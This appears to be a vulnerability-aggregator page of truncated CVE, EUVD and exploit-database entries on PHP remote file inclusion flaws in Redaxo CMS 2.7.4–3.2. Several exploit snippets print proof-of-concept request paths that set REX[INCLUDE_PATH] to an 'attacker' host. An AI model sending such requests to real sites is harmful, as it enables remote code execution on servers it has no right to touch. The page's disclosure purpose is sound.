EUVD-2006-2841

Multiple PHP remote file inclusion vulnerabilities in Redaxo 3.0 allow remote attackers to execute arbitrary PHP code via a URL in the REXINCLUDEPATH parameter to 1 simpleuser/pages/index.inc.php and 2 stats/pages/index.inc.php...

CVE-2006-2843

PHP remote file inclusion vulnerability in Redaxo 2.7.4 allows remote attackers to execute arbitrary PHP code via a URL in the 1 REXINCLUDEPATH parameter in a addons/importexport/pages/index.inc.php and b pages/community.inc.php...

EUVD-2006-2840

PHP remote file inclusion vulnerability in Redaxo 2.7.4 allows remote attackers to execute arbitrary PHP code via a URL in the 1 REXINCLUDEPATH parameter in a addons/importexport/pages/index.inc.php and b pages/community.inc.php...

CVE-2006-2843

Redaxo 2.7.4 is affected by a PHP remote file inclusion vulnerability. The issue allows remote attackers to execute arbitrary PHP code by supplying a URL in the REX[INCLUDE_PATH] parameter used by addons/import_export/pages/index.inc.php and pages/community.inc.php. The root cause is unsafely inc...

CVE-2006-2844

Multiple PHP remote file inclusion vulnerabilities in Redaxo 3.0 allow remote attackers to execute arbitrary PHP code via a URL in the REXINCLUDEPATH parameter to 1 simpleuser/pages/index.inc.php and 2 stats/pages/index.inc.php...

EUVD-2006-2842

PHP remote file inclusion vulnerability in Redaxo 3.0 up to 3.2 allows remote attackers to execute arbitrary PHP code via a URL in the REXINCLUDEPATH parameter to imageresize/pages/index.inc.php...

CVE-2006-2845

PHP remote file inclusion vulnerability in Redaxo 3.0 up to 3.2 allows remote attackers to execute arbitrary PHP code via a URL in the REXINCLUDEPATH parameter to imageresize/pages/index.inc.php...

CVE-2006-2845

CVE-2006-2845 describes a PHP remote file inclusion vulnerability in the Redaxo CMS, affecting versions 3.0 through 3.2. The flaw allows remote attackers to execute arbitrary PHP code by supplying a URL in the REX[INCLUDE_PATH] parameter to image_resize/pages/index.inc.php. The root cause is the ...

Redaxo CMS <= 3.2 Remote File Include

Script: Redaxo CMS Vendor: http://www.redaxo.de Discovered: beford xbefordx gmail com Redaxo 3.2 - 3.1 - 3.0 ./redaxo/include/addons/imageresize/pages/index.inc.php?REXINCLUDEPATH=attacker Redaxo 3.0...

Redaxo 3.2 - INCLUDE_PATH Remote File Inclusion

Redaxo 3.2 - INCLUDEPATH Remote File Inclusion Script: Redaxo CMS Vendor: http://www.redaxo.de Discovered: beford Redaxo 3.2 - 3.1 - 3.0 ./redaxo/include/addons/imageresize/pages/index.inc.php?REXINCLUDEPATH=attacker Redaxo 3.0...

[SA20408] REDAXO "REX[INCLUDE_PATH]" File Inclusion Vulnerabilities

---------------------------------------------------------------------- Want to join the Secunia Security Team? Secunia offers a position as a security specialist, where your daily work involves reverse engineering of software and exploit code, auditing of source code, and analysis of vulnerabilit...

Redaxo 3.2 - 'INCLUDE_PATH' Remote File Inclusion

Script: Redaxo CMS Vendor: http://www.redaxo.de Discovered: beford Redaxo 3.2 - 3.1 - 3.0 ./redaxo/include/addons/imageresize/pages/index.inc.php?REXINCLUDEPATH=attacker Redaxo 3.0 ./redaxo30demospatched/redaxo/include/addons/imageresize/pages/index.inc.php?subpage=relations&REXINCLUDEPATH=attack...

Redaxo CMS <= 3.2 (INCLUDE_PATH) Remote File Include Vulnerabilities

No description provided by source. Script: Redaxo CMS Vendor: http://www.redaxo.de Discovered: beford xbefordx gmail com Redaxo 3.2 - 3.1 - 3.0 ./redaxo/include/addons/imageresize/pages/index.inc.php?REXINCLUDEPATH=attacker Redaxo 3.0...

Redaxo CMS <= 3.2 (INCLUDE_PATH) Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ==================================================================== Redaxo CMS = 3.2 INCLUDEPATH Remote File Include Vulnerabilities ==================================================================== Script: Redaxo CMS Redaxo 3.2 - 3.1 ...